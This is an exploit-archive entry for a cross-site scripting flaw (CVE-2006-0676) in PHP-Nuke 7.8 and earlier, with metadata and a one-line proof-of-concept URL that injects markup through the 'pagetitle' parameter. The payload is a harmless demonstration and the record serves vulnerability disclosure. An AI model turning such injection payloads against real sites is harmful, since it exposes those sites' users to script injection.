PHP-Nuke 6.x/7.x - 'header.php?Pagetitle' Cross-Site Scripting

Author: Janek Vind
type: webapps
platform: php
port: 0
date_added: 2006-02-13
date_updated: 2013-07-31
verified: 1
codes: CVE-2006-0676;OSVDB-23140
tags: 
aliases: 
screenshot_url: 
application_url: 

source: https://www.securityfocus.com/bid/16608/info

PHPNuke is prone to a cross-site scripting vulnerability.

This issue affects the 'header.php' script.

PHPNuke 7.8 and prior versions are reportedly vulnerable.

http://www.example.com/nuke78/?pagetitle=w00t></title></head><body>test